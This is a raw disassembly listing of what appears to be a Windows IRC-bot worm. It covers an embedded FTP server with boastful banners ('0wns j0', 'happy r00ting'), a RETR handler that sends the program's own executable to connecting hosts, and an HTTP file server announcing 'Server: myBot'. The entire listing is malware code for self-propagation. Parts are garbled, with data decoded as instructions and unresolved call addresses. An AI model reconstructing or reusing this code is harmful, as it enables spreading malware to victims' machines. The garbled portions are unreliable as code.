		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574


loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax


loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------


loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]


loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB


loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]


loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------


loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------


loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------


loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_436F0C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h


loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------


loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------


loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send


loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax


loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	[ebp+arg_0]
		mov	dword_436F08, eax
		mov	[ebp+var_10], 2
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_436F08
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h


loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_436F08
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2630F90h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi


loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_436F08
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43AD98
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43ADC0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43AE34
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43AD80
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43AC90
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43AE2C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]


loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47


loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43AE30
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]


loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]


loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2


loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3


loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------


loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06


loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------


loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]


loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]


loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31


loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------


loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]


loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43AE30


loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h


loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h


loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43ADE8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------


loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h


loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43AE30
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26302E2h
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
